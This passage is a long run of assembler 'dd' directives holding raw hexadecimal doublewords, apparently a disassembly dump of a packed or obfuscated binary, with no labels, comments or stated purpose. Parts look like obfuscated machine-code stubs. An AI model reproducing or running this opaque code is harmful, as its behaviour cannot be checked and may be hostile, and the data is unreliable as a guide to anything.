		dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h
		dd 0E995F3A6h, 69329043h, 10D230E3h, 687ECF82h,	13D4h
		dd 57242489h, 4BFh, 247C0100h, 91685F04h, 89000014h, 0AC682414h
		dd 89000024h, 0DF68241Ch, 8B060A3Fh, 0C4812414h, 4, 252B68h
		dd 24248900h, 4240481h,	5B000000h, 8904EC83h, 8B82404h
		dd 1000000h, 581089D8h,	5B2434FFh, 8B04C483h, 89562414h
		dd 4C681E6h, 83000000h,	348704C6h, 1EE95C24h, 0AFFFD37h
		dd 44F6B830h, 0C503060Ah, 51E9D18Bh, 60000000h,	2424748Bh
		dd 8B3C7603h, 8B28247Ch, 0F8C281D6h, 66000000h,	0F064E8Bh
		dd 0F983C9B7h, 16840F00h, 3B000000h, 8F0F0C7Ah,	15h, 8B28EA83h
		dd 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch, 28C28300h
		dd 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh, 20EB00h
		dd 7 dup(0)
		dd 0E9000000h, 524h, 518E9h, 47956800h,	82E9060Ah, 68FFFD36h
		dd 60A4834h, 0FD3678E9h, 49B268FFh, 6EE9060Ah, 68FFFD36h
		dd 60A4A26h, 0FD3664E9h, 0AE4EFBFFh, 0B4420462h, 0BB410A68h
		dd 0C765116Fh, 0CA561D7Bh, 3A73947Eh, 43A1ED73h, 47A5F17Bh
		dd 49A7F381h, 3BAEFA86h, 2142F1C0h, 3C1BF006h, 8A12DB58h
		dd 673908D7h, 1CBF760Ch, 31B37502h, 80FB13C3h, 0C6882B1h
		dd 0D58BDB76h, 2252h, 0C66A6E00h, 7AF60C67h, 0C74D1644h
		dd 142DFC77h, 7DFC16ADh, 46E5F5BAh, 0B404C446h,	211268h
		dd 6A2E0000h, 0F60C67C7h, 0AA25437Bh, 16AD42DBh, 8349A7FCh
		dd 0AAFA4AFDh, 6420E35Eh, 9947336Fh, 0DB1F03B9h, 8D78A12h
		dd 760C673Ah, 0C796118Ch, 89F39874h, 40E399E9h,	8A12DBE6h
		dd 0FC6A4F3Eh, 888FB281h, 0D93789F3h, 89D98C10h, 0F6A9F9D3h
		dd 0CB711D7Bh, 68F4B715h, 90A372EDh, 0CD89F388h, 8C7BC77Dh
		dd 40BB3632h, 8847F6C5h, 0C81889F3h, 75AD4312h,	1B7983ECh
		dd 3C16CC58h, 0C76A39ECh, 0C8FF4BAh, 0AD0BBE60h, 31AC5FE5h
		dd 0F4BAD362h, 0C03C8C8Fh, 0F0B8051Dh, 1363B366h, 800F27CAh
		dd 0DBC07BEh, 41108B06h, 8FF482F2h, 0E94C1B6Bh,	768FF482h
		dd 75FFC826h, 833CBFh, 4A580000h, 0B679F474h, 47CEA4C5h
		dd 0D24D03B4h, 0F1889457h, 7208B8C7h, 916CEDBCh, 65B5FC16h
		dd 3FC58CEAh, 0D9672E8Ch, 0D086D626h, 905FDA55h, 0F0066EADh
		dd 4EAC62B2h, 53B1FD8Bh, 45A50490h, 0E1AECDE1h,	2D0D82Eh
		dd 0C3700000h, 0AD6FCD19h, 0AC75D31Fh, 0D27EDC28h, 0BB82E02Ch
		dd 0DEFFE935h, 0FE4AD69Dh, 24ED8A0h, 0C58DEA4h,	115DEBAEh
		dd 0E154239Eh, 7EF00620h, 9BE3BB9Fh, 68000002h,	8BE440Ah
		dd 8A12DB24h, 3CFE5CD7h, 0F5ABFBAEh, 0C671B26h,	8B4DABF6h
		dd 7FFA4AFDh, 0C678DB0h, 0CC82D2F6h, 0C68B2FDh,	678CAEF6h
		dd 51E0F60Ch, 11F60C67h, 0F60C672Eh, 0C67FF42h,	0FD6B53B6h
		dd 5CDDB382h, 0DA2A3C16h, 0E2863827h, 7AB89867h, 0A96C3A1Ah
		dd 7FE312B0h, 714B016Eh, 9832C221h, 25D8F4C9h, 231CFh
		dd 0BA620F00h, 0C04E106Eh, 0C74D1674h, 0CB711D7Bh, 0D65A217Fh
		dd 3E7FA08Ah, 3F9DE977h, 43A1ED77h, 4DABF77Dh, 3FB2FE8Ah
		dd 2F46F5C4h, 3817F006h, 8C18DB54h, 61EBB311h, 38A5EBAEh
		dd 6855A2D8h, 0C0AF6218h, 20EF6AFEh, 0FC16C623h, 0D29E24E7h
		dd 0FE580BF1h, 0CC8F504Bh, 0B76D0CCDh, 97128DDDh, 65475C8h
		dd 3C9AEAF0h, 0E737EA74h, 0BE87E531h, 0C38CEA36h, 27978639h
		dd 72F7C641h, 0C7FA1C9Eh, 52B02B77h, 7D4C0290h,	0F60C11B2h
		dd 22C5308Eh, 0B9E575D5h, 9D853A3h, 0FC164B18h,	38961161h
		dd 0E232E56Fh, 9053B12Ch, 975AB804h, 67308E09h,	0CA7D07CFh
		dd 27772A7Ah, 0B0EFBE71h, 0F0F006CBh, 501F9ACEh, 0FA1C0ECBh
		dd 27850050h, 2E8CD864h, 5B2ADD6Bh, 0F60C8E24h,	0AB26427Ch
		dd 164B6FDCh, 984D4FCh,	0A24EE8ABh, 0A9F949FCh,	0B03CFF5Dh
		dd 5C15D735h, 6C4AE8Dh,	0F5FAFF0h, 7B7A659h, 3E17E661h
		dd 93FA1C0Eh, 7EC19043h, 78F60C81h, 4FDD9FFDh, 0E352219Ch
		dd 7CF60C81h, 8326DC2Ch, 151ADCABh, 46293C4h, 8D55B341h
		dd 13CE5107h, 0EA000000h, 0C84C76Ah, 0E14F6h, 3B990000h
		dd 0E737EA72h, 0C76A4D31h, 86F60C81h, 79F4744Ah, 16ADB5AAh
		dd 1BCE1EFCh, 5BD6922Ch, 19D2EC8Ch, 0F9558FAh, 5739422Eh
		dd 1B0A487Ah, 0BC0CD7C6h, 7DDC2C06h, 0B4CA5581h, 0B38CE295h
		dd 8D000000h, 92F03CE0h, 98F642D0h, 9BF945CFh, 0A3014DEFh
		dd 220C58DCh, 7301C801h, 7B01C927h, 850BD12Fh, 8C18DB39h
		dd 8352CD40h, 0F0062EB0h, 4AEACEADh, 0AA79F474h, 0FC16ADB5h
		dd 0A01BCE1Eh, 42F57B42h, 714D3CF2h, 409E22E9h,	0E838EB79h
		dd 27A21D98h, 622E558h,	5B2A7AF0h, 0F00622D8h, 47F3585h
		dd 19C71735h, 0B91868FAh, 0B4CA8B4Fh, 3FDA30E3h, 1000000h
		dd 0E6CB854h, 1472BE4Ch, 1775C14Bh, 1775C16Bh, 8E78C450h
		dd 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh, 0F07C3F9Dh, 0E7B631A4h
		dd 0F0062D54h, 0BE462A09h, 5A0D9760h, 3FE540Ah,	1A000000h
		dd 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h
		dd 2AF14F02h, 0E995F3A6h, 69329043h, 10D230E3h,	687ECF82h
		dd 5F67h, 53243C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch
		dd 8951242Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 2414895Ch
		dd 4EC81h, 1C890000h, 4620BB24h, 0DD89060Ah, 6B96685Bh
		dd 24890000h, 24048324h, 55515A04h, 58243481h, 595ACC4Bh
		dd 4B58F181h, 4A895ACCh, 34FF5908h, 0C4835A24h,	2434FF04h
		dd 4C4815Dh, 0E9000000h, 0FFFD3181h, 6420A6A6h,	0F3806E40h
		dd 0FB8F8E04h, 4A8AB828h, 0C503060Ah, 11E8C88Bh, 48000000h
		dd 0EEE2F58Ah, 0DE367380h, 9A1F944Ah, 0CC1D791Ch, 5FC28B66h
		dd 0E756B866h, 6601C781h, 66B90000h, 8116CD0Ah,	0CCF111E9h
		dd 0A1B86616h, 0E91F8B78h, 10h,	14622C3h, 0CED08C80h, 0EA1419FBh
		dd 0CEAC8264h, 8514EB81h, 0D6810194h, 98A5B48h,	0BE4BC381h
		dd 850F5E73h, 15h, 0EE960h, 8E5C0000h, 30DA8AB7h, 0BEC4B06Eh
		dd 32512B1Dh, 9BC38161h, 0B603BFA1h, 0F1F8974h,	0A8Ch
		dd 4860F00h, 66000000h,	83C212BAh, 0C88101EFh, 4A0544B5h
		dd 8A4F4F4Fh, 850F49C7h, 0FFFFFF8Dh, 8E9FC60h, 2F000000h
		dd 2C6762EDh, 612F99F2h, 0D9E9h, 0BE1D2000h, 82C12C0Fh
		dd 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h
		dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 91B8009Ch
		dd 0CD64F7F6h, 389382h,	3C0000h, 400000h, 940000h, 50000h
		dd 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 0F9C80000h, 44E96069h, 6800001Fh, 60A4EDCh, 0FD2FC8E9h
		dd 4FD768FFh, 0BEE9060Ah, 68FFFD2Fh, 60A5094h, 0FD2FB4E9h
		dd 514768FFh, 0AAE9060Ah, 68FFFD2Fh, 60A51E6h, 0FD2FA0E9h
		dd 52C068FFh, 96E9060Ah, 68FFFD2Fh, 60A53A4h, 0FD2F8CE9h
		dd 546168FFh, 82E9060Ah, 68FFFD2Fh, 60A5837h, 0FD2F78E9h
		dd 58BF68FFh, 6EE9060Ah, 68FFFD2Fh, 60A59FDh, 0FD2F64E9h
		dd 5CA268FFh, 5AE9060Ah, 68FFFD2Fh, 60A6057h, 0FD2F50E9h
		dd 63A668FFh, 46E9060Ah, 68FFFD2Fh, 60A6526h, 0FD2F3CE9h
		dd 65A068FFh, 32E9060Ah, 68FFFD2Fh, 60A65F0h, 0FD2F28E9h
		dd 664568FFh, 1EE9060Ah, 68FFFD2Fh, 60A6730h, 0FD2F14E9h
		dd 688A68FFh, 0AE9060Ah, 68FFFD2Fh, 60A696Ah, 0FD2F00E9h
		dd 0AB25FFFh, 109E60BEh, 179D66C4h, 1BC16DCBh, 26AA71CFh
		dd 8ECFF0DAh, 8FED39C7h, 93F13DC7h, 9DFB47CDh, 8F024EDAh
		dd 2AF64514h, 8867F006h, 8C18DBA4h, 67EDB311h, 0C04FF1B4h
		dd 6F9CBB42h, 58B6691Fh, 0D27EDC95h, 5A29792Ch,	0F60C44DBh
		dd 98E43484h, 0D85315A9h, 7A2DB37Ah, 1CCF551Ch,	32017CCCh
		dd 0F60C4403h, 0DB560C5Ch, 1349D40Ch, 1ED121FCh, 0F27E45A3h
		dd 6A39EF3Fh, 0F00B46C7h, 0D7A47E21h, 99CA4C15h, 3655h
		dd 905FDA00h, 0F00B4EADh, 0C8AC62B2h, 79F4744Ah, 13752AAAh
		dd 0B274D2FCh, 6B217124h, 68C64191h, 0A95C12BCh, 0B6A57DAh
		dd 54EE91F0h, 0CA3B8547h, 0D9C599h, 0DBE10000h,	2AB87E18h
		dd 2E7E20CCh, 57561D7Bh, 23666E2Fh, 0E497E764h,	8235C386h
		dd 87D36124h, 0C3646B8h, 0C85417F6h, 7C6A8A4Dh,	0AD583D1Dh
		dd 5A1060E4h, 5FEDB00Eh, 0E7B631ACh, 0F60CF154h, 1403B909h
		dd 0E543BEAAh, 93E39622h, 89E762DDh, 3C8C3FDDh,	0E5DB786h
		dd 54B2FC13h, 6CB8088Eh, 0AC27417Dh, 1227D331h,	0F18A6BC9h
		dd 12C5158Ch, 9A3D0CC2h, 6AFA1191h, 6B9430Ch, 0D62600B6h
		dd 0AE3AFD5Bh, 581F7DF8h, 5B2280CCh, 0C82E76D5h, 29DCB4C9h
		dd 1C7ED3h, 620AB700h, 68F6B816h, 6FF5BE1Ch, 7319C523h
		dd 7E02C927h, 0E6274832h, 0E745911Fh, 0EB49951Fh, 0F5539F25h
		dd 0E75AA632h, 299E9D6Ch, 0E0BFF006h, 9014DBFCh, 60A95215h
		dd 0DFDC1BEAh, 0BC7FDD29h, 4A00E430h, 0AA79F474h, 0FC13752Ah
		dd 0A1702373h, 0F00B6A9Eh, 40F38143h, 359319E2h, 0A135E86Ch
		dd 5EA724FEh, 521463BBh, 9299CA3Ch, 0CFh, 8C18DBAEh, 0BDB47BD9h
		dd 0FFB2C05Fh, 0B30394h, 0C47C131h, 83FE79F6h, 0C4881B4h
		dd 0BF8EDEF6h, 0F60C487Ch, 35D783E1h, 0ED12FE5h, 40BB3682h
		dd 0C48C271h, 0C35117F6h, 85E399E9h, 948336C2h,	0F4C33E2Ah
		dd 0FC13B798h, 2B0AD954h, 34F00B78h, 4542EE4h, 73F5C9B8h
		dd 107D29F8h, 76C6FA11h, 3CD69DFBh, 0B5417673h,	0D5263152h
		dd 3282D285h, 0C0C188E6h, 0D597D8E5h, 81449447h, 0B101AABBh
		dd 0C92C5C52h, 0E93FF2B4h, 1B83h, 1B6705B2h, 216DFBBDh
		dd 2672FAC3h, 26721CC8h, 277301C8h, 14DB1C3Dh, 1EE64490h
		dd 28EE4C98h, 2DF04E9Ah, 65E0539Fh, 628A796h, 0F5D9B8F0h
		dd 159014DBh, 6768CB9Ah, 0A5F5F60Ch, 8245A3EFh,	0DBC6AAF6h
		dd 5ED98C18h, 0FAAD3700h, 0D396F4AAh, 0AC40F945h, 60FEAA08h
		dd 0B8A75DADh, 18E76206h, 0FC137DC4h, 9A935AB8h, 0D3B7E8A4h
		dd 32E53589h, 2522CE2h,	10B77E4Dh, 0BB03B49Dh, 0F4B732ADh
		dd 26070E08h, 8614D6D1h, 8311D836h, 0FBCA80D0h,	469A9EEDh
		dd 68570A5Ah, 0C8971256h, 409D860Ch, 38961161h,	3D9BE775h
		dd 4A517B7Ah, 0FE7A0C24h, 0BA694FAEh, 6A1DFA4Eh, 1AC614h
		dd 1AC26F00h, 20AE70CEh, 27AD76D4h, 2BD17DDBh, 36BA81DFh
		dd 9EDF00EAh, 9FFD49D7h, 0A3014DD7h, 0AD0B57DDh, 9F125EEAh
		dd 37E65524h, 9877F006h, 9E60BEB4h, 77C69510h, 0E8F60C67h
		dd 0C184E298h, 0A7058033h, 0AC9B51FBh, 0AE8FE312h, 8B382DEh
		dd 8E7FBE8Dh, 90E0F60Ch, 5AF6C540h, 0ABFC1367h,	4BFE8A4Dh
		dd 0A65FABFBh, 0A8C0FE16h, 0B23E5E2Dh, 9C5FFA14h, 0D318F747h
		dd 0AD7CF726h, 0F60C058Eh, 7A2F7FCFh, 0BDA40FABh, 0E97F3FBDh
		dd 0AD499F6Eh, 6EBE3BA2h, 76F2CCBBh, 0B5702CFBh, 8DDD3DA5h
		dd 63F1B412h, 6AF6B917h, 26C3B70Bh, 469C4FEDh, 1A13h, 8BD77522h
		dd 91DD6B2Dh, 96E26A33h, 96E28C38h, 97E37138h, 844B8CADh
		dd 8E56B400h, 985EBC08h, 9D60BE0Ah, 0D550C30Fh,	6363706h
		dd 654928F0h, 0D98C18DBh, 1994D4EAh, 1396EA4Ah,	0B174D2FCh
		dd 6A207023h, 3BF44090h, 4C1CA2BAh, 52D202D1h, 884BFA14h
		dd 0EE363901h, 17CC1C99h, 0B5F74748h, 5117A792h, 0FEE107D6h
		dd 65660BBh, 0E5A6453h,	0E608C493h, 76566BCh, 0ED68B844h
		dd 0F440CC8Fh, 924CB679h, 0FC2D4E47h, 1E2FCB39h, 0B66CFB6Eh
		dd 0A8079558h, 182F4C24h, 74F94F02h, 0C1000019h, 0CE2C7814h
		dd 0D4327E0Ch, 0D735810Bh, 0D735812Bh, 4E388410h, 9F25EC2Dh
		dd 0A72DF553h, 0A937FD5Bh, 0B03CFF5Dh, 0A776F164h, 0F0063694h
		dd 0BE06EAC9h, 580B9960h, 0D4C04508h, 675AA113h, 49053B1h
		dd 0E0642B89h, 3688772Ah, 0FBF4B732h, 0C7631C3Eh, 0FB76F1A7h
		dd 67A09538h, 106013A1h, 0EB3684Dh, 44678958h, 2070FC13h
		dd 32FB59D4h, 4C0DE7AAh, 87BC208h, 0FC149952h, 5C2BA6C2h
		dd 0FA144838h, 91601565h, 0F34F3CB8h, 0F333C2FCh, 4013A202h
		dd 910C87D7h, 0CFDE84CEh, 279A14Eh, 0CF05C8C8h,	41521591h
		dd 0B1A921Fh, 0DD2BFAB0h, 890151D8h, 25DB692Bh,	5948FB4Bh
		dd 0B9880365h, 756C003h, 43A11C6Ch, 971DE680h, 0DA9DFB47h
		dd 98E7EF4Eh, 0EC9FB795h, 189A96h, 4EEE9B00h, 54E2A402h
		dd 5BE1AA08h, 6705B10Fh, 6AF6BD1Bh, 0DA13341Eh,	0E3418D13h
		dd 0E745911Bh, 0E9479321h, 0DB4E9A26h, 35A29160h, 0DCBBF006h
		dd 8C18DBF8h, 69D4EAD9h, 0C679B9Ah, 2474C4F6h, 0DC5F2EA9h
		dd 81F60C67h, 31007B31h, 0FC1385CFh, 6CF2BA18h,	8143A11Ch
		dd 38F13DF3h, 3A2E90A8h, 23E644BFh, 0D884E295h,	0E3338336h
		dd 7A9A9968h, 73C3F00Bh, 60AEEEBDh, 9FEFFA14h, 57551BEAh
		dd 516D89D5h, 0BBCD9C17h, 6B6FDB6Eh, 3AF4B0Dh, 656A659h
		dd 0AB267650h, 4A00844Dh, 5216A897h, 0AE8D5CD7h, 0AF63C3B1h
		dd 5F2EA95Fh, 69DC76A5h, 0E9F4A669h, 0D09321E4h, 0CE846DC6h
		dd 8BAA79F4h, 0D465C46Bh, 0D727AD76h, 0EBAE0C87h, 0F0B3115Dh
		dd 6BCB6A39h, 449465C4h, 0E54B95F4h, 4CFF210Fh,	17B6F6h
		dd 2AD27F00h, 30BE80DEh, 37BD86E4h, 3BE18DEBh, 46CA91EFh
		dd 0AEEF10FAh, 0AF0D59E7h, 0B3115DE7h, 0BD1B67EDh, 0AF226EFAh
		dd 34D66534h, 0A887F006h, 8C18DBC4h, 74C79611h,	0E9F60C67h
		dd 679C9F6Eh, 71C1F60Ch, 0C9B86B21h, 2D0300F5h,	7612D454h
		dd 6D30AB26h, 8F5E4CEBh, 0F60C14ACh, 0C99E61B1h, 0E8AF0D13h
		dd 0A359A95Ch, 161890D4h, 229DEDFCh, 0B96501C4h, 0FFDA5013h
		dd 4D47A72Dh, 23E2B1FDh, 87F00611h, 8CEA3650h, 0EF3BC9h
		dd 602FAABEh, 0FA1CCD2Ch, 3C64191h, 5B3BBFFCh, 235A1D7Fh
		dd 8E5374E5h, 288601B7h, 2E8CD866h, 0CD2BDE6Ch,	0CB1F7E0Ah
		dd 6BB4D7C6h, 16F962B8h, 8F3C0000h, 8143A1EDh, 8049A7F3h
		dd 0A652B0FCh, 975EBC08h, 0B2D3BD09h, 0E22EB279h, 0E632BC84h
		dd 0E834C288h, 0ED39C78Ah, 0D30FF7Ah, 52F00633h, 60BE8F73h
		dd 0E7059C9Dh, 9A5D6492h, 9147974Ah, 52211CA2h,	0F60C34E3h
		dd 0F3A630F8h, 2979C9A3h, 0E7ADDFAEh, 0C212FC16h, 9A26E947h
		dd 5010D34Eh, 0CEA1F705h, 15C2B167h, 0E827F671h, 5DF00682h
		dd 8D2013E2h, 0ED3DF006h, 8D90A372h, 7DCDF006h,	3CFF7A2Dh
		dd 0D2227CD5h, 93621874h, 0F0062BADh, 8655D04Bh, 0F0062BB7h
		dd 0FC824AA8h, 0FB53F6ACh, 0CD76EAACh, 622A99h,	0BE460000h
		dd 580B9960h, 5DAD33FAh, 671FB8A7h, 0A32E29ECh,	72C8EC61h
		dd 10C35114h, 0C08F0AC0h, 0F60CA079h, 1CEB9EEEh, 0F60CA015h
		dd 891630D3h, 93C3F1C7h, 2B07h,	0C66A2300h, 7AF60C67h
		dd 0E6A92444h, 199DE65Ah, 0AE29DFF5h, 134165DFh, 0FF7ACAFCh
		dd 9B47DBA1h, 9EEE3EF1h, 913D9BEBh, 5E935EBh, 79F4744Ah
		dd 4BD9A0FEh, 0C3924898h, 0FC136CC1h, 429C7B3Eh, 6E38D7EBh
		dd 0BE09C9Fh, 2171C1F0h, 0FDC01ED1h, 2C5236Fh, 9E65C376h
		dd 44E75F12h, 901CDFEAh, 9523E644h, 9DCBF3E2h, 0F515322h
		dd 0EBAEFA14h, 21A1F86Eh, 4B97E76Eh, 0C7902AEDh, 0EA3A8A3Dh
		dd 0C349116Fh, 570AC010h, 43A35688h, 0B08A2D6Eh, 6636225h
		dd 0A5CD09A8h, 0A43AF9C8h, 0D3238E3Ah, 6CE73383h, 0A41322F1h
		dd 0FC4C8E3Ah, 9725E846h, 34DA86E4h, 0D25A2381h, 72FEC11Fh
		dd 0C67544BFh, 978E3AA4h, 122CCF47h, 3C641D5h, 0D8FEB52Fh
		dd 0C5681E95h, 0F9D606Dh, 16A265C3h, 0C48AE863h, 74F14413h
		dd 1E6E8E3Ah, 15CB1BCEh, 0F9C29826h, 2070C073h,	7802D6A5h
		dd 43938425h, 32017CF7h, 883D7703h, 0F8560C5Ch,	96F4A735h
		dd 379548CEh, 0D634E775h, 55D1842Ah, 0E35B98B2h, 18DBE640h
		dd 7B3118Ch, 181BEA65h,	45883D77h, 78F33FF5h, 15CB511Ah
		dd 0B568F4B7h, 0F570F8C6h, 228BAA26h, 7FCB1B82h, 0D8A75E21h
		dd 8E3A4465h, 0A75AAAFAh, 4FBC692Ch, 0B0D00ACFh, 4E018F52h
		dd 0B67948FEh, 9C7E3AE9h, 0D19421F9h, 0D399F743h, 753C9A4Dh
		dd 6A1674EFh, 83065051h, 0D6264AE4h, 6A1DD323h,	0A02D05A8h
		dd 73D14CDAh, 1E6E21ABh, 0F8BE1C68h, 0AD59B76Ah, 41E45C0Fh
		dd 8216DCE9h, 358538D6h, 753B99E5h, 714D3CEFh, 0E3EFDCCh
		dd 0CF1F9E3Ah, 7326AA71h, 8958D323h, 9425051Bh,	0BA7948C3h
		dd 0A3983D0Ah, 73C39D53h, 0EE8835F8h, 5A1DA770h, 6B216D5Dh
		dd 0A98124B8h, 16C2561Ch, 32AD2878h, 3D6FD063h,	873D8D98h
		dd 8E1ADD3Bh, 2EBA7DDBh, 3C16B97Bh, 0E762EEB1h,	6F9E9D6Ch
		dd 6FBF983Dh, 0BCD6DB9h, 4B01F437h, 42h, 9760BE67h, 540A5A0Dh
		dd 412F30F6h, 447954A8h, 0E03EB909h, 8BDB8E18h,	8B3322D5h
		dd 6CE762DDh, 0C1C9E9Dh, 0B96FBFF6h, 13099AEAh,	4793E3FCh
		dd 38F1h, 52187600h, 0EAB311C4h, 0F5FAF62h, 60BE7559h
		dd 9590C9Ah, 932FF553h,	42F545E7h, 82FD6B53h, 13969DB3h
		dd 0A027EAFCh, 0E7B4D78Dh, 3FBA0656h, 16DC497Ch, 0C77DAF49h
		dd 4CF080E3h, 0E79D2BEEh, 27A2C6F8h, 0FF854EACh, 0B281FC4Ch
		dd 0F60C6783h, 7D68CDCh, 0FC137DD5h, 7645FA4Ah,	0ECB86BC7h
		dd 0B22D3B83h, 4EEDBC37h, 0F04B865h, 654DF0BFh,	0C21204B8h
		dd 61179D64h, 93F117E6h, 47A50EA7h, 0F343F67Eh,	0F6A0633Dh
		dd 772C8186h, 806F2272h, 0E0AF2A3Eh, 8A01524h, 60BE3989h
		dd 48C30F9Dh, 0EA3FFECDh, 0D02004B8h, 6BF9BC1Ah, 2363E80Ch
		dd 156B1EC2h, 1323h, 7BC76512h,	81CD5B1Dh, 86D25A23h, 86D27C28h
		dd 87D36128h, 743B7C9Dh, 7E46A4F0h, 884EACF8h, 8D50AEFAh
		dd 0C540B3FFh, 63F47F6h, 553918F0h, 0C68CB6Ah, 293F7FF6h
		dd 0F08850AEh, 9AEA9D27h, 9147974Ah, 87754716h,	9AEAFC13h
		dd 67FBC11Fh, 0E5E11BBh, 1FE543BEh, 318FDB91h, 0EF6AE56Bh
		dd 0B781D20h, 3CF242F0h, 0B1682B89h, 0B7853E2h,	0C2910CF0h
		dd 0F00B7873h, 0FC4C9CECh, 0D0D2619Dh, 0AC02B5AEh, 129Bh
		dd 34FED9Ah, 955E3A5h, 0E5AE2ABh, 0E5A04B0h, 0F5BE9B0h
		dd 0FCC30425h, 6CE2C78h, 10D63480h, 15D83682h, 4DC83B87h
		dd 63FBF7Eh, 0DDC1A0F0h, 79F4744Ah, 81B483FEh, 3DF60C67h
		dd 0C67CF6Eh, 664090F6h, 66F0B816h, 0DEAD63B3h,	0FC1386DEh
		dd 0A19463DEh, 0BEF00B79h, 193B46FBh, 0C818EFD2h, 6DE83812h
		dd 73BF4D0Fh, 12C55315h, 9355F1B4h, 0B2025205h,	54D8A1FFh
		dd 0F27A43A1h, 40DA7D3Fh, 0F24CEF83h, 4B9725E7h, 0D9FF1792h
		dd 0AE1D8A1h, 8D7E0DF0h, 0E939EC3Ch, 0C486E499h, 20D36128h
		dd 0FECD80D0h, 0F00BD432h, 9D50DC9Fh, 16DF773Fh, 3B8BDB8Eh
		dd 2E08AB88h, 0C45E01B1h, 0D99B37F9h, 0F848984Bh, 0FE8C4EACh
		dd 6625C4Bh, 694D108Bh,	0B53B01F0h, 9EEFB202h, 0D3623147h
		dd 8CF00B1Eh, 6736EC3Ch, 0FA11CAD9h, 65C33E8Eh,	6CCA16A2h
		dd 79681BA9h, 0D9A82345h, 0FC1B866Ah, 8D0883D3h, 75414F12h
		dd 43B57F94h, 0B83C174h, 984E9EF0h, 9DE9773Ah, 4A7D7C3Fh
		dd 0F9281D9Bh, 0BCAB5EAEh, 1CEB6602h, 0FA14A0B4h, 0A49766E1h
		dd 0B9F60C7Fh, 4EBA1969h, 0E4B4D7D9h, 115DDB31h, 2BD80000h
		dd 15D73581h, 14DD3B87h, 3AE64490h, 23EA4894h, 4667519Dh
		dd 66B23E05h, 6AB64008h, 74C0460Ch, 79C55316h, 79BC8B06h
		dd 0E6F0063Eh, 43BE2307h, 0C67C174h, 984E9EF6h,	0C6893C9h
		dd 24B278F6h, 93D5E9D8h, 0B3C24918h, 0DB2BFC16h, 0B3390260h
		dd 7D11DA38h, 28DB2BD1h, 0F2D622D8h, 0AB460BEh,	0B1510757h
		dd 944322EFh, 13F2Fh, 724A4B00h, 4343183h, 0BD0D38DDh
		dd 8043BED9h, 87F7C630h, 7C4B0114h, 0F60C2DB4h,	62EAB311h
		dd 0DABE2E12h, 4AAEBB96h, 0A613F76Fh, 0FA8E4AC2h, 0AB098416h
		dd 51985BE9h, 0D5490667h, 0BEE3C77Dh, 570AB460h, 0FFB15107h
		dd 3F96C322h, 50h, 846F4A5Bh, 0D1551C02h, 432777B6h, 0C17443BEh
		dd 9EF60C67h, 4E1D984Eh, 0F60C67E2h, 0B58857D2h, 0AAF60C67h
		dd 7ACAA45Ah, 0DBDABE96h, 0B10F8A12h, 39158EAh,	0FAB00050h
		dd 9E60BE16h, 0AF0D5D10h, 0A95FEDh, 34E31Ch, 0A680000h
		dd 2105BB41h, 13F76F4Ah, 0B9960BEh, 6772C190h, 9BEBF60Ch
		dd 959B6AE5h, 32F60C67h, 0DABEFEE2h, 0F8A12DBh,	9EF3EAB1h
		dd 0AEDCF1E1h, 0B89C52A2h, 0E799AC90h, 2796C322h, 36h
		dd 0FA8E4A43h, 0DDA6047Fh, 67B58857h, 4CAAF60Ch, 0F5ABFB89h
		dd 0C843BE11h, 0C673AF9h, 1DD323F6h, 0C67E24Eh,	3F2373F6h
		dd 19DBDABEh, 0AC90A78Bh, 2DE3h, 8E4AFF00h, 0E89B29ECh
		dd 0ED733A98h, 0B69AEA3Ah, 0AB460BEh, 677DC08Fh, 92E2F60Ch
		dd 0AE9261DCh, 27F60C67h, 0DABEF3D7h, 0A78B19DBh, 0B1E3AC90h
		dd 0FFFFFFFEh, 79F4744Ah, 16B47AAAh, 0F873C3FCh, 0FD49D79Ah
		dd 42BDC90Eh, 62BC073h,	9A4D9DF0h, 62B6ECBh, 49E184F0h
		dd 0CD76783Ah, 40B899h,	6AD40000h, 0F60C67C7h, 6FBB490Ch
		dd 0C6790A0h, 0FFC624F6h, 5E119B63h, 0BB0BBE0Eh, 0C0A81605h
		dd 907CA45h, 1FF4C1Ch, 0BD3F8A50h, 0D1214463h, 0BF04C1Bh
		dd 0FF5DFC13h, 0D59A953h, 0BAB7h, 744AD300h, 0C2AA79F4h
		dd 2BFC1384h, 390260DBh, 0FAB000B3h, 0D55B217Fh, 0DF652B89h
		dd 8B53B12Ch, 48FE4E01h, 2EF56559h, 419FEFA2h, 0F343F67Ah
		dd 0DF5928A3h, 88FA11AFh, 0C742BD38h, 13745F8h,	6CCA1AF6h
		dd 6641AA4h, 0D937B240h, 87D38917h, 62DD6329h, 0FFB23C04h
		dd 5746F9AFh, 3407D667h, 29F60137h, 3F0E89D9h, 0FC1BFCEAh
		dd 2684FF4Fh, 975AD563h, 463ED617h, 24E0454h, 0F453E1A4h
		dd 0AED0861Eh, 0B8DF35E8h, 7D00000Eh, 82E02CD0h
		dd 88E632C0h, 8BE935BFh, 93F13DDFh, 12FC48CCh, 63F1B8F1h
		dd 6BF1B917h, 75FBC11Fh, 7C08CB29h, 7342BD30h, 0F0063BC0h
		dd 0DBDABE9Dh, 7BD98C18h, 0B7792CB8h, 0ECAF3A14h, 0B2741460h
		dd 0F293C32Ah, 4Dh, 0CE521977h,	744A3418h, 1B9624E6h, 0C67E94Ch
		dd 0D62676F6h, 2211E05Bh, 3BF60C67h, 0EBBA35EBh, 0FC13919Dh
		dd 0C11F9AEAh, 0CBF75FBh, 115DEBAEh, 0B164F0B3h, 0F16CFCC2h
		dd 1223DA2Eh, 1403C64Ch, 0A520D67Dh, 143F2ED6h,	0E32F7FFAh
		dd 9E60BEFFh, 0E3674D10h, 0B4AD2E9Ah, 42DEA0FEh, 5CA8F896h
		dd 0FBAE3CFEh, 0C83F22Ch, 870DD3F6h, 0F6724C3Bh, 0CB711D7Bh
		dd 6CF2BA18h, 631969B9h, 583F19E8h, 1868FC16h, 7B763F9Dh
		dd 0FDD0DF7Dh, 5BE9AF10h, 0B80858A8h, 0FB76F16Ch, 6C8092Ch
